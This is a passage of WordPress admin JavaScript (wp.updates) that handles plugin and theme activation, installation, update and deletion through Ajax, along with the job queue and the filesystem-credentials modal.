be checked. * @param {string} response.errorCode Error code for the error that occurred. * @param {string} response.errorMessage The error that occurred. */ wp.updates.checkPluginDependenciesError = function( response ) { var $message = $( '.plugin-card-' + response.slug + ', #plugin-information-footer' ).find( '.install-now' ), buttonText = _x( 'Activate', 'plugin' ), ariaLabel = sprintf( /* translators: 1: Plugin name, 2. The reason the plugin cannot be activated. */ _x( 'Cannot activate %1$s. %2$s', 'plugin' ), response.pluginName, response.errorMessage ), errorMessage; if ( ! wp.updates.isValidResponse( response, 'check-dependencies' ) ) { return; } errorMessage = sprintf( /* translators: %s: Error string for a failed activation. */ __( 'Activation failed: %s' ), response.errorMessage ); wp.a11y.speak( errorMessage, 'assertive' ); $document.trigger( 'wp-check-plugin-dependencies-error', response ); $message .removeClass( 'install-now installed updated-message' ) .addClass( 'activate-now button-primary' ) .attr( 'aria-label', ariaLabel ) .text( buttonText ); if ( 'plugin-information-footer' === $message.parent().attr('id' ) ) { wp.updates.setCardButtonStatus( { status: 'dependencies-check-failed', slug: response.slug, removeClasses: 'install-now installed updated-message', addClasses: 'activate-now button-primary', text: buttonText, ariaLabel: ariaLabel } ); } }; /** * Sends an Ajax request to the server to activate a plugin. * * @since 6.5.0 * * @param {Object} args Arguments. * @param {string} args.name The name of the plugin. * @param {string} args.slug Plugin identifier in the WordPress.org Plugin repository. * @param {string} args.plugin The plugin file, relative to the plugins directory. * @param {activatePluginSuccess=} args.success Optional. Success callback. Default: wp.updates.activatePluginSuccess * @param {activatePluginError=} args.error Optional. Error callback. Default: wp.updates.activatePluginError * @return {$.promise} A jQuery promise that represents the request, * decorated with an abort() method. */ wp.updates.activatePlugin = function( args ) { var $message = $( '.plugin-card-' + args.slug + ', #plugin-information-footer' ).find( '.activate-now, .activating-message' ); args = _.extend( { success: wp.updates.activatePluginSuccess, error: wp.updates.activatePluginError }, args ); wp.a11y.speak( __( 'Activating... please wait.' ) ); $document.trigger( 'wp-activating-plugin', args ); if ( 'plugin-information-footer' === $message.parent().attr( 'id' ) ) { wp.updates.setCardButtonStatus( { status: 'activating-plugin', slug: args.slug, removeClasses: 'installed updated-message button-primary', addClasses: 'activating-message', text: __( 'Activating...' ), ariaLabel: sprintf( /* translators: %s: Plugin name. */ _x( 'Activating %s', 'plugin' ), args.name ) } ); } return wp.updates.ajax( 'activate-plugin', args ); }; /** * Updates the UI appropriately after a successful plugin activation. * * @since 6.5.0 * * @param {Object} response Response from the server. * @param {string} response.slug Slug of the activated plugin. * @param {string} response.pluginName Name of the activated plugin. * @param {string} response.plugin The plugin file, relative to the plugins directory. */ wp.updates.activatePluginSuccess = function( response ) { var $message = $( '.plugin-card-' + response.slug + ', #plugin-information-footer' ).find( '.activating-message' ), buttonText = _x( 'Activated!', 'plugin' ), ariaLabel = sprintf( /* translators: %s: The plugin name. */ '%s activated successfully.', response.pluginName ); wp.a11y.speak( __( 'Activation completed successfully.' ) ); $document.trigger( 'wp-plugin-activate-success', response ); $message .removeClass( 'activating-message' ) .addClass( 'activated-message button-disabled' ) .attr( 'aria-label', ariaLabel ) .text( buttonText ); if ( 'plugin-information-footer' === $message.parent().attr( 'id' ) ) { wp.updates.setCardButtonStatus( { status: 'activated-plugin', slug: response.slug, removeClasses: 'activating-message', addClasses: 'activated-message button-disabled', text: buttonText, ariaLabel: ariaLabel } ); } setTimeout( function() { $message.removeClass( 'activated-message' ) .text( _x( 'Active', 'plugin' ) ); if ( 'plugin-information-footer' === $message.parent().attr( 'id' ) ) { wp.updates.setCardButtonStatus( { status: 'plugin-active', slug: response.slug, removeClasses: 'activated-message', text: _x( 'Active', 'plugin' ), ariaLabel: sprintf( /* translators: %s: The plugin name. */ '%s is active.', response.pluginName ) } ); } }, 1000 ); }; /** * Updates the UI appropriately after a failed plugin activation. * * @since 6.5.0 * * @param {Object} response Response from the server. * @param {string} response.slug Slug of the plugin to be activated. * @param {string=} response.pluginName Optional. Name of the plugin to be activated. * @param {string} response.errorCode Error code for the error that occurred. * @param {string} response.errorMessage The error that occurred. */ wp.updates.activatePluginError = function( response ) { var $message = $( '.plugin-card-' + response.slug + ', #plugin-information-footer' ).find( '.activating-message' ), buttonText = __( 'Activation failed.' ), ariaLabel = sprintf( /* translators: %s: Plugin name. */ _x( '%s activation failed', 'plugin' ), response.pluginName ), errorMessage; if ( ! wp.updates.isValidResponse( response, 'activate' ) ) { return; } errorMessage = sprintf( /* translators: %s: Error string for a failed activation. */ __( 'Activation failed: %s' ), response.errorMessage ); wp.a11y.speak( errorMessage, 'assertive' ); $document.trigger( 'wp-plugin-activate-error', response ); $message .removeClass( 'install-now installed activating-message' ) .addClass( 'button-disabled' ) .attr( 'aria-label', ariaLabel ) .text( buttonText ); if ( 'plugin-information-footer' === $message.parent().attr( 'id' ) ) { wp.updates.setCardButtonStatus( { status: 'plugin-activation-failed', slug: response.slug, removeClasses: 'install-now installed activating-message', addClasses: 'button-disabled', text: buttonText, ariaLabel: ariaLabel } ); } }; /** * Updates the UI appropriately after a successful importer install. * * @since 4.6.0 * * @param {Object} response Response from the server. * @param {string} response.slug Slug of the installed plugin. * @param {string} response.pluginName Name of the installed plugin. * @param {string} response.activateUrl URL to activate the just installed plugin. */ wp.updates.installImporterSuccess = function( response ) { wp.updates.addAdminNotice( { id: 'install-success', className: 'notice-success is-dismissible', message: sprintf( /* translators: %s: Activation URL. */ __( 'Importer installed successfully. <a href="%s">Run importer</a>' ), response.activateUrl + '&from=import' ) } ); $( '[data-slug="' + response.slug + '"]' ) .removeClass( 'install-now updating-message' ) .addClass( 'activate-now' ) .attr({ 'href': response.activateUrl + '&from=import', 'aria-label':sprintf( /* translators: %s: Importer name. */ __( 'Run %s' ), response.pluginName ) }) .text( __( 'Run Importer' ) ); wp.a11y.speak( __( 'Installation completed successfully.' ) ); $document.trigger( 'wp-importer-install-success', response ); }; /** * Updates the UI appropriately after a failed importer install. * * @since 4.6.0 * * @param {Object} response Response from the server. * @param {string} response.slug Slug of the plugin to be installed. * @param {string=} response.pluginName Optional. Name of the plugin to be installed. * @param {string} response.errorCode Error code for the error that occurred. * @param {string} response.errorMessage The error that occurred. */ wp.updates.installImporterError = function( response ) { var errorMessage = sprintf( /* translators: %s: Error string for a failed installation. */ __( 'Installation failed: %s' ), response.errorMessage ), $installLink = $( '[data-slug="' + response.slug + '"]' ), pluginName = $installLink.data( 'name' ); if ( ! wp.updates.isValidResponse( response, 'install' ) ) { return; } if ( wp.updates.maybeHandleCredentialError( response, 'install-plugin' ) ) { return; } wp.updates.addAdminNotice( { id: response.errorCode, className: 'notice-error is-dismissible', message: errorMessage } ); $installLink .removeClass( 'updating-message' ) .attr( 'aria-label', sprintf( /* translators: %s: Plugin name. */ _x( 'Install %s now', 'plugin' ), pluginName ) ) .text( _x( 'Install Now', 'plugin' ) ); wp.a11y.speak( errorMessage, 'assertive' ); $document.trigger( 'wp-importer-install-error', response ); }; /** * Sends an Ajax request to the server to delete a plugin. * * @since 4.6.0 * * @param {Object} args Arguments. * @param {string} args.plugin Basename of the plugin to be deleted. * @param {string} args.slug Slug of the plugin to be deleted. * @param {deletePluginSuccess=} args.success Optional. Success callback. Default: wp.updates.deletePluginSuccess * @param {deletePluginError=} args.error Optional. Error callback. Default: wp.updates.deletePluginError * @return {$.promise} A jQuery promise that represents the request, * decorated with an abort() method. */ wp.updates.deletePlugin = function( args ) { var $link = $( '[data-plugin="' + args.plugin + '"]' ).find( '.row-actions a.delete' ); args = _.extend( { success: wp.updates.deletePluginSuccess, error: wp.updates.deletePluginError }, args ); if ( $link.html() !== __( 'Deleting...' ) ) { $link .data( 'originaltext', $link.html() ) .text( __( 'Deleting...' ) ); } wp.a11y.speak( __( 'Deleting...' ) ); $document.trigger( 'wp-plugin-deleting', args ); return wp.updates.ajax( 'delete-plugin', args ); }; /** * Updates the UI appropriately after a successful plugin deletion. * * @since 4.6.0 * * @param {Object} response Response from the server. * @param {string} response.slug Slug of the plugin that was deleted. * @param {string} response.plugin Base name of the plugin that was deleted. * @param {string} response.pluginName Name of the plugin that was deleted. */ wp.updates.deletePluginSuccess = function( response ) { // Removes the plugin and updates rows. $( '[data-plugin="' + response.plugin + '"]' ).css( { backgroundColor: '#faafaa' } ).fadeOut( 350, function() { var $form = $( '#bulk-action-form' ), $views = $( '.subsubsub' ), $pluginRow = $( this ), $currentView = $views.find( '[aria-current="page"]' ), $itemsCount = $( '.displaying-num' ), columnCount = $form.find( 'thead th:not(.hidden), thead td' ).length, pluginDeletedRow = wp.template( 'item-deleted-row' ), /** * Plugins Base names of plugins in their different states. * * @type {Object} */ plugins = settings.plugins, remainingCount; // Add a success message after deleting a plugin. if ( ! $pluginRow.hasClass( 'plugin-update-tr' ) ) { $pluginRow.after( pluginDeletedRow( { slug: response.slug, plugin: response.plugin, colspan: columnCount, name: response.pluginName } ) ); } $pluginRow.remove(); // Remove plugin from update count. if ( -1 !== _.indexOf( plugins.upgrade, response.plugin ) ) { plugins.upgrade = _.without( plugins.upgrade, response.plugin ); wp.updates.decrementCount( 'plugin' ); } // Remove from views. if ( -1 !== _.indexOf( plugins.inactive, response.plugin ) ) { plugins.inactive = _.without( plugins.inactive, response.plugin ); if ( plugins.inactive.length ) { $views.find( '.inactive .count' ).text( '(' + plugins.inactive.length + ')' ); } else { $views.find( '.inactive' ).remove(); } } if ( -1 !== _.indexOf( plugins.active, response.plugin ) ) { plugins.active = _.without( plugins.active, response.plugin ); if ( plugins.active.length ) { $views.find( '.active .count' ).text( '(' + plugins.active.length + ')' ); } else { $views.find( '.active' ).remove(); } } if ( -1 !== _.indexOf( plugins.recently_activated, response.plugin ) ) { plugins.recently_activated = _.without( plugins.recently_activated, response.plugin ); if ( plugins.recently_activated.length ) { $views.find( '.recently_activated .count' ).text( '(' + plugins.recently_activated.length + ')' ); } else { $views.find( '.recently_activated' ).remove(); } } if ( -1 !== _.indexOf( plugins['auto-update-enabled'], response.plugin ) ) { plugins['auto-update-enabled'] = _.without( plugins['auto-update-enabled'], response.plugin ); if ( plugins['auto-update-enabled'].length ) { $views.find( '.auto-update-enabled .count' ).text( '(' + plugins['auto-update-enabled'].length + ')' ); } else { $views.find( '.auto-update-enabled' ).remove(); } } if ( -1 !== _.indexOf( plugins['auto-update-disabled'], response.plugin ) ) { plugins['auto-update-disabled'] = _.without( plugins['auto-update-disabled'], response.plugin ); if ( plugins['auto-update-disabled'].length ) { $views.find( '.auto-update-disabled .count' ).text( '(' + plugins['auto-update-disabled'].length + ')' ); } else { $views.find( '.auto-update-disabled' ).remove(); } } plugins.all = _.without( plugins.all, response.plugin ); if ( plugins.all.length ) { $views.find( '.all .count' ).text( '(' + plugins.all.length + ')' ); } else { $form.find( '.tablenav' ).css( { visibility: 'hidden' } ); $views.find( '.all' ).remove(); if ( ! $form.find( 'tr.no-items' ).length ) { $form.find( '#the-list' ).append( '<tr class="no-items"><td class="colspanchange" colspan="' + columnCount + '">' + __( 'No plugins are currently available.' ) + '</td></tr>' ); } } if ( $itemsCount.length && $currentView.length ) { remainingCount = plugins[ $currentView.parent( 'li' ).attr('class') ].length; $itemsCount.text( sprintf( /* translators: %s: The remaining number of plugins. */ _nx( '%s item', '%s items', remainingCount, 'plugin/plugins' ), remainingCount ) ); } } ); wp.a11y.speak( _x( 'Deleted!', 'plugin' ) ); $document.trigger( 'wp-plugin-delete-success', response ); }; /** * Updates the UI appropriately after a failed plugin deletion. * * @since 4.6.0 * * @param {Object} response Response from the server. * @param {string} response.slug Slug of the plugin to be deleted. * @param {string} response.plugin Base name of the plugin to be deleted * @param {string=} response.pluginName Optional. Name of the plugin to be deleted. * @param {string} response.errorCode Error code for the error that occurred. * @param {string} response.errorMessage The error that occurred. */ wp.updates.deletePluginError = function( response ) { var $plugin, $pluginUpdateRow, pluginUpdateRow = wp.template( 'item-update-row' ), noticeContent = wp.updates.adminNotice( { className: 'update-message notice-error notice-alt', message: response.errorMessage } ); if ( response.plugin ) { $plugin = $( 'tr.inactive[data-plugin="' + response.plugin + '"]' ); $pluginUpdateRow = $plugin.siblings( '[data-plugin="' + response.plugin + '"]' ); } else { $plugin = $( 'tr.inactive[data-slug="' + response.slug + '"]' ); $pluginUpdateRow = $plugin.siblings( '[data-slug="' + response.slug + '"]' ); } if ( ! wp.updates.isValidResponse( response, 'delete' ) ) { return; } if ( wp.updates.maybeHandleCredentialError( response, 'delete-plugin' ) ) { return; } // Add a plugin update row if it doesn't exist yet. if ( ! $pluginUpdateRow.length ) { $plugin.addClass( 'update' ).after( pluginUpdateRow( { slug: response.slug, plugin: response.plugin || response.slug, colspan: $( '#bulk-action-form' ).find( 'thead th:not(.hidden), thead td' ).length, content: noticeContent } ) ); } else { // Remove previous error messages, if any. $pluginUpdateRow.find( '.notice-error' ).remove(); $pluginUpdateRow.find( '.plugin-update' ).append( noticeContent ); } $document.trigger( 'wp-plugin-delete-error', response ); }; /** * Sends an Ajax request to the server to update a theme. * * @since 4.6.0 * * @param {Object} args Arguments. * @param {string} args.slug Theme stylesheet. * @param {updateThemeSuccess=} args.success Optional. Success callback. Default: wp.updates.updateThemeSuccess * @param {updateThemeError=} args.error Optional. Error callback. Default: wp.updates.updateThemeError * @return {$.promise} A jQuery promise that represents the request, * decorated with an abort() method. */ wp.updates.updateTheme = function( args ) { var $notice; args = _.extend( { success: wp.updates.updateThemeSuccess, error: wp.updates.updateThemeError }, args ); if ( 'themes-network' === pagenow ) { $notice = $( '[data-slug="' + args.slug + '"]' ).find( '.update-message' ).removeClass( 'notice-error' ).addClass( 'updating-message notice-warning' ).find( 'p' ); } else if ( 'customize' === pagenow ) { // Update the theme details UI. $notice = $( '[data-slug="' + args.slug + '"].notice' ).removeClass( 'notice-large' ); $notice.find( 'h3' ).remove(); // Add the top-level UI, and update both. $notice = $notice.add( $( '#customize-control-installed_theme_' + args.slug ).find( '.update-message' ) ); $notice = $notice.addClass( 'updating-message' ).find( 'p' ); } else { $notice = $( '#update-theme' ).closest( '.notice' ).removeClass( 'notice-large' ); $notice.find( 'h3' ).remove(); $notice = $notice.add( $( '[data-slug="' + args.slug + '"]' ).find( '.update-message' ) ); $notice = $notice.addClass( 'updating-message' ).find( 'p' ); } if ( $notice.html() !== __( 'Updating...' ) ) { $notice.data( 'originaltext', $notice.html() ); } wp.a11y.speak( __( 'Updating... please wait.' ) ); $notice.text( __( 'Updating...' ) ); $document.trigger( 'wp-theme-updating', args ); return wp.updates.ajax( 'update-theme', args ); }; /** * Updates the UI appropriately after a successful theme update. * * @since 4.6.0 * @since 5.5.0 Auto-update "time to next update" text cleared. * * @param {Object} response * @param {string} response.slug Slug of the theme to be updated. * @param {Object} response.theme Updated theme. * @param {string} response.oldVersion Old version of the theme. * @param {string} response.newVersion New version of the theme. */ wp.updates.updateThemeSuccess = function( response ) { var isModalOpen = $( 'body.modal-open' ).length, $theme = $( '[data-slug="' + response.slug + '"]' ), updatedMessage = { className: 'updated-message notice-success notice-alt', message: _x( 'Updated!', 'theme' ) }, $notice, newText; if ( 'customize' === pagenow ) { $theme = $( '.updating-message' ).siblings( '.theme-name' ); if ( $theme.length ) { // Update the version number in the row. newText = $theme.html().replace( response.oldVersion, response.newVersion ); $theme.html( newText ); } $notice = $( '.theme-info .notice' ).add( wp.customize.control( 'installed_theme_' + response.slug ).container.find( '.theme' ).find( '.update-message' ) ); } else if ( 'themes-network' === pagenow ) { $notice = $theme.find( '.update-message' ); // Update the version number in the row. newText = $theme.find( '.theme-version-author-uri' ).html().replace( response.oldVersion, response.newVersion ); $theme.find( '.theme-version-author-uri' ).html( newText ); // Clear the "time to next auto-update" text. $theme.find( '.auto-update-time' ).empty(); } else { $notice = $( '.theme-info .notice' ).add( $theme.find( '.update-message' ) ); // Focus on Customize button after updating. if ( isModalOpen ) { $( '.load-customize:visible' ).trigger( 'focus' ); $( '.theme-info .theme-autoupdate' ).find( '.auto-update-time' ).empty(); } else { $theme.find( '.load-customize' ).trigger( 'focus' ); } } wp.updates.addAdminNotice( _.extend( { selector: $notice }, updatedMessage ) ); wp.a11y.speak( __( 'Update completed successfully.' ) ); wp.updates.decrementCount( 'theme' ); $document.trigger( 'wp-theme-update-success', response ); // Show updated message after modal re-rendered. if ( isModalOpen && 'customize' !== pagenow ) { $( '.theme-info .theme-author' ).after( wp.updates.adminNotice( updatedMessage ) ); } }; /** * Updates the UI appropriately after a failed theme update. * * @since 4.6.0 * * @param {Object} response Response from the server. * @param {string} response.slug Slug of the theme to be updated. * @param {string} response.errorCode Error code for the error that occurred. * @param {string} response.errorMessage The error that occurred. */ wp.updates.updateThemeError = function( response ) { var $theme = $( '[data-slug="' + response.slug + '"]' ), errorMessage = sprintf( /* translators: %s: Error string for a failed update. */ __( 'Update failed: %s' ), response.errorMessage ), $notice; if ( ! wp.updates.isValidResponse( response, 'update' ) ) { return; } if ( wp.updates.maybeHandleCredentialError( response, 'update-theme' ) ) { return; } if ( 'customize' === pagenow ) { $theme = wp.customize.control( 'installed_theme_' + response.slug ).container.find( '.theme' ); } if ( 'themes-network' === pagenow ) { $notice = $theme.find( '.update-message ' ); } else { $notice = $( '.theme-info .notice' ).add( $theme.find( '.notice' ) ); $( 'body.modal-open' ).length ? $( '.load-customize:visible' ).trigger( 'focus' ) : $theme.find( '.load-customize' ).trigger( 'focus'); } wp.updates.addAdminNotice( { selector: $notice, className: 'update-message notice-error notice-alt is-dismissible', message: errorMessage } ); wp.a11y.speak( errorMessage ); $document.trigger( 'wp-theme-update-error', response ); }; /** * Sends an Ajax request to the server to install a theme. * * @since 4.6.0 * * @param {Object} args * @param {string} args.slug Theme stylesheet. * @param {installThemeSuccess=} args.success Optional. Success callback. Default: wp.updates.installThemeSuccess * @param {installThemeError=} args.error Optional. Error callback. Default: wp.updates.installThemeError * @return {$.promise} A jQuery promise that represents the request, * decorated with an abort() method. */ wp.updates.installTheme = function( args ) { var $message = $( '.theme-install[data-slug="' + args.slug + '"]' ); args = _.extend( { success: wp.updates.installThemeSuccess, error: wp.updates.installThemeError }, args ); $message.addClass( 'updating-message' ); $message.parents( '.theme' ).addClass( 'focus' ); if ( $message.html() !== __( 'Installing...' ) ) { $message.data( 'originaltext', $message.html() ); } $message .attr( 'aria-label', sprintf( /* translators: %s: Theme name and version. */ _x( 'Installing %s...', 'theme' ), $message.data( 'name' ) ) ) .text( __( 'Installing...' ) ); wp.a11y.speak( __( 'Installing... please wait.' ) ); // Remove previous error messages, if any. $( '.install-theme-info, [data-slug="' + args.slug + '"]' ).removeClass( 'theme-install-failed' ).find( '.notice.notice-error' ).remove(); $document.trigger( 'wp-theme-installing', args ); return wp.updates.ajax( 'install-theme', args ); }; /** * Updates the UI appropriately after a successful theme install. * * @since 4.6.0 * * @param {Object} response Response from the server. * @param {string} response.slug Slug of the theme to be installed. * @param {string} response.customizeUrl URL to the Customizer for the just installed theme. * @param {string} response.activateUrl URL to activate the just installed theme. */ wp.updates.installThemeSuccess = function( response ) { var $card = $( '.wp-full-overlay-header, [data-slug=' + response.slug + ']' ), $message; $document.trigger( 'wp-theme-install-success', response ); $message = $card.find( '.button-primary' ) .removeClass( 'updating-message' ) .addClass( 'updated-message disabled' ) .attr( 'aria-label', sprintf( /* translators: %s: Theme name and version. */ _x( '%s installed!', 'theme' ), response.themeName ) ) .text( _x( 'Installed!', 'theme' ) ); wp.a11y.speak( __( 'Installation completed successfully.' ) ); setTimeout( function() { if ( response.activateUrl ) { // Transform the 'Install' button into an 'Activate' button. $message .attr( 'href', response.activateUrl ) .removeClass( 'theme-install updated-message disabled' ) .addClass( 'activate' ); if ( 'themes-network' === pagenow ) { $message .attr( 'aria-label', sprintf( /* translators: %s: Theme name. */ _x( 'Network Activate %s', 'theme' ), response.themeName ) ) .text( __( 'Network Enable' ) ); } else { $message .attr( 'aria-label', sprintf( /* translators: %s: Theme name. */ _x( 'Activate %s', 'theme' ), response.themeName ) ) .text( _x( 'Activate', 'theme' ) ); } } if ( response.customizeUrl ) { // Transform the 'Preview' button into a 'Live Preview' button. $message.siblings( '.preview' ).replaceWith( function () { return $( '<a>' ) .attr( 'href', response.customizeUrl ) .addClass( 'button load-customize' ) .text( __( 'Live Preview' ) ); } ); } }, 1000 ); }; /** * Updates the UI appropriately after a failed theme install. * * @since 4.6.0 * * @param {Object} response Response from the server. * @param {string} response.slug Slug of the theme to be installed. * @param {string} response.errorCode Error code for the error that occurred. * @param {string} response.errorMessage The error that occurred. */ wp.updates.installThemeError = function( response ) { var $card, $button, errorMessage = sprintf( /* translators: %s: Error string for a failed installation. */ __( 'Installation failed: %s' ), response.errorMessage ), $message = wp.updates.adminNotice( { className: 'update-message notice-error notice-alt', message: errorMessage } ); if ( ! wp.updates.isValidResponse( response, 'install' ) ) { return; } if ( wp.updates.maybeHandleCredentialError( response, 'install-theme' ) ) { return; } if ( 'customize' === pagenow ) { if ( $document.find( 'body' ).hasClass( 'modal-open' ) ) { $button = $( '.theme-install[data-slug="' + response.slug + '"]' ); $card = $( '.theme-overlay .theme-info' ).prepend( $message ); } else { $button = $( '.theme-install[data-slug="' + response.slug + '"]' ); $card = $button.closest( '.theme' ).addClass( 'theme-install-failed' ).append( $message ); } wp.customize.notifications.remove( 'theme_installing' ); } else { if ( $document.find( 'body' ).hasClass( 'full-overlay-active' ) ) { $button = $( '.theme-install[data-slug="' + response.slug + '"]' ); $card = $( '.install-theme-info' ).prepend( $message ); } else { $card = $( '[data-slug="' + response.slug + '"]' ).removeClass( 'focus' ).addClass( 'theme-install-failed' ).append( $message ); $button = $card.find( '.theme-install' ); } } $button .removeClass( 'updating-message' ) .attr( 'aria-label', sprintf( /* translators: %s: Theme name and version. */ _x( '%s installation failed', 'theme' ), $button.data( 'name' ) ) ) .text( __( 'Installation failed.' ) ); wp.a11y.speak( errorMessage, 'assertive' ); $document.trigger( 'wp-theme-install-error', response ); }; /** * Sends an Ajax request to the server to delete a theme. * * @since 4.6.0 * * @param {Object} args * @param {string} args.slug Theme stylesheet. * @param {deleteThemeSuccess=} args.success Optional. Success callback. Default: wp.updates.deleteThemeSuccess * @param {deleteThemeError=} args.error Optional. Error callback. Default: wp.updates.deleteThemeError * @return {$.promise} A jQuery promise that represents the request, * decorated with an abort() method. */ wp.updates.deleteTheme = function( args ) { var $button; if ( 'themes' === pagenow ) { $button = $( '.theme-actions .delete-theme' ); } else if ( 'themes-network' === pagenow ) { $button = $( '[data-slug="' + args.slug + '"]' ).find( '.row-actions a.delete' ); } args = _.extend( { success: wp.updates.deleteThemeSuccess, error: wp.updates.deleteThemeError }, args ); if ( $button && $button.html() !== __( 'Deleting...' ) ) { $button .data( 'originaltext', $button.html() ) .text( __( 'Deleting...' ) ); } wp.a11y.speak( __( 'Deleting...' ) ); // Remove previous error messages, if any. $( '.theme-info .update-message' ).remove(); $document.trigger( 'wp-theme-deleting', args ); return wp.updates.ajax( 'delete-theme', args ); }; /** * Updates the UI appropriately after a successful theme deletion. * * @since 4.6.0 * * @param {Object} response Response from the server. * @param {string} response.slug Slug of the theme that was deleted. */ wp.updates.deleteThemeSuccess = function( response ) { var $themeRows = $( '[data-slug="' + response.slug + '"]' ); if ( 'themes-network' === pagenow ) { // Removes the theme and updates rows. $themeRows.css( { backgroundColor: '#faafaa' } ).fadeOut( 350, function() { var $views = $( '.subsubsub' ), $themeRow = $( this ), themes = settings.themes, deletedRow = wp.template( 'item-deleted-row' ); if ( ! $themeRow.hasClass( 'plugin-update-tr' ) ) { $themeRow.after( deletedRow( { slug: response.slug, colspan: $( '#bulk-action-form' ).find( 'thead th:not(.hidden), thead td' ).length, name: $themeRow.find( '.theme-title strong' ).text() } ) ); } $themeRow.remove(); // Remove theme from update count. if ( -1 !== _.indexOf( themes.upgrade, response.slug ) ) { themes.upgrade = _.without( themes.upgrade, response.slug ); wp.updates.decrementCount( 'theme' ); } // Remove from views. if ( -1 !== _.indexOf( themes.disabled, response.slug ) ) { themes.disabled = _.without( themes.disabled, response.slug ); if ( themes.disabled.length ) { $views.find( '.disabled .count' ).text( '(' + themes.disabled.length + ')' ); } else { $views.find( '.disabled' ).remove(); } } if ( -1 !== _.indexOf( themes['auto-update-enabled'], response.slug ) ) { themes['auto-update-enabled'] = _.without( themes['auto-update-enabled'], response.slug ); if ( themes['auto-update-enabled'].length ) { $views.find( '.auto-update-enabled .count' ).text( '(' + themes['auto-update-enabled'].length + ')' ); } else { $views.find( '.auto-update-enabled' ).remove(); } } if ( -1 !== _.indexOf( themes['auto-update-disabled'], response.slug ) ) { themes['auto-update-disabled'] = _.without( themes['auto-update-disabled'], response.slug ); if ( themes['auto-update-disabled'].length ) { $views.find( '.auto-update-disabled .count' ).text( '(' + themes['auto-update-disabled'].length + ')' ); } else { $views.find( '.auto-update-disabled' ).remove(); } } themes.all = _.without( themes.all, response.slug ); // There is always at least one theme available. $views.find( '.all .count' ).text( '(' + themes.all.length + ')' ); } ); } // DecrementCount from update count. if ( 'themes' === pagenow ) { var theme = _.find( _wpThemeSettings.themes, { id: response.slug } ); if ( theme.hasUpdate ) { wp.updates.decrementCount( 'theme' ); } } wp.a11y.speak( _x( 'Deleted!', 'theme' ) ); $document.trigger( 'wp-theme-delete-success', response ); }; /** * Updates the UI appropriately after a failed theme deletion. * * @since 4.6.0 * * @param {Object} response Response from the server. * @param {string} response.slug Slug of the theme to be deleted. * @param {string} response.errorCode Error code for the error that occurred. * @param {string} response.errorMessage The error that occurred. */ wp.updates.deleteThemeError = function( response ) { var $themeRow = $( 'tr.inactive[data-slug="' + response.slug + '"]' ), $button = $( '.theme-actions .delete-theme' ), updateRow = wp.template( 'item-update-row' ), $updateRow = $themeRow.siblings( '#' + response.slug + '-update' ), errorMessage = sprintf( /* translators: %s: Error string for a failed deletion. */ __( 'Deletion failed: %s' ), response.errorMessage ), $message = wp.updates.adminNotice( { className: 'update-message notice-error notice-alt', message: errorMessage } ); if ( wp.updates.maybeHandleCredentialError( response, 'delete-theme' ) ) { return; } if ( 'themes-network' === pagenow ) { if ( ! $updateRow.length ) { $themeRow.addClass( 'update' ).after( updateRow( { slug: response.slug, colspan: $( '#bulk-action-form' ).find( 'thead th:not(.hidden), thead td' ).length, content: $message } ) ); } else { // Remove previous error messages, if any. $updateRow.find( '.notice-error' ).remove(); $updateRow.find( '.plugin-update' ).append( $message ); } } else { $( '.theme-info .theme-description' ).before( $message ); } $button.html( $button.data( 'originaltext' ) ); wp.a11y.speak( errorMessage, 'assertive' ); $document.trigger( 'wp-theme-delete-error', response ); }; /** * Adds the appropriate callback based on the type of action and the current page. * * @since 4.6.0 * @private * * @param {Object} data Ajax payload. * @param {string} action The type of request to perform. * @return {Object} The Ajax payload with the appropriate callbacks. */ wp.updates._addCallbacks = function( data, action ) { if ( 'import' === pagenow && 'install-plugin' === action ) { data.success = wp.updates.installImporterSuccess; data.error = wp.updates.installImporterError; } return data; }; /** * Pulls available jobs from the queue and runs them. * * @since 4.2.0 * @since 4.6.0 Can handle multiple job types. */ wp.updates.queueChecker = function() { var job; if ( wp.updates.ajaxLocked || ! wp.updates.queue.length ) { return; } job = wp.updates.queue.shift(); // Handle a queue job. switch ( job.action ) { case 'install-plugin': wp.updates.installPlugin( job.data ); break; case 'update-plugin': wp.updates.updatePlugin( job.data ); break; case 'delete-plugin': wp.updates.deletePlugin( job.data ); break; case 'install-theme': wp.updates.installTheme( job.data ); break; case 'update-theme': wp.updates.updateTheme( job.data ); break; case 'delete-theme': wp.updates.deleteTheme( job.data ); break; default: break; } }; /** * Requests the users filesystem credentials if they aren't already known. * * @since 4.2.0 * * @param {Event=} event Optional. Event interface. */ wp.updates.requestFilesystemCredentials = function( event ) { if ( false === wp.updates.filesystemCredentials.available ) { /* * After exiting the credentials request modal, * return the focus to the element triggering the request. */ if ( event && ! wp.updates.$elToReturnFocusToFromCredentialsModal ) { wp.updates.$elToReturnFocusToFromCredentialsModal = $( event.target ); } wp.updates.ajaxLocked = true; wp.updates.requestForCredentialsModalOpen(); } }; /** * Requests the users filesystem credentials if needed and there is no lock. * * @since 4.6.0 * * @param {Event=} event Optional. Event interface. */ wp.updates.maybeRequestFilesystemCredentials = function( event ) { if ( wp.updates.shouldRequestFilesystemCredentials && ! wp.updates.ajaxLocked ) { wp.updates.requestFilesystemCredentials( event ); } }; /** * Keydown handler for the request for credentials modal. * * Closes the modal when the escape key is pressed and * constrains keyboard navigation to inside the modal. * * @since 4.2.0 * * @param {Event} event Event interface. */ wp.updates.keydown = function( event ) { if ( 27 === event.keyCode ) { wp.updates.requestForCredentialsModalCancel(); } else if ( 9 === event.keyCode ) { // #upgrade button must always be the last focus-able element in the dialog. if ( 'upgrade' === event.target.id && ! event.shiftKey ) { $( '#hostname' ).trigger( 'focus' ); event.preventDefault(); } else if ( 'hostname' === event.target.id && event.shiftKey ) { $( '#upgrade' ).trigger( 'focus' ); event.preventDefault(); } } }; /** * Opens the request for credentials modal. * * @since 4.2.0 */ wp.updates.requestForCredentialsModalOpen = function() { var $modal = $( '#request-filesystem-credentials-dialog' ); $( 'body' ).addClass( 'modal-open' ); $modal.show(); $modal.find( 'input:enabled:first' ).trigger( 'focus' ); $modal.on( 'keydown', wp.updates.keydown ); }; /** * Closes the request for credentials modal. * * @since 4.2.0 */ wp.updates.requestForCredentialsModalClose = function() { $( '#request-filesystem-credentials-dialog' ).hide(); $( 'body' ).removeClass( 'modal-open' ); if ( wp.updates.$elToReturnFocusToFromCredentialsModal ) { wp.updates.$elToReturnFocusToFromCredentialsModal.trigger( 'focus' ); } }; /** * Takes care of the steps that need to happen when the modal is canceled out. * * @since 4.2.0 * @since 4.6.0 Triggers an event for callbacks to listen to and add their actions. */ wp.updates.requestForCredentialsModalCancel = function() { // Not ajaxLocked and no queue means we already have cleared things up. if ( ! wp.updates.ajaxLocked && ! 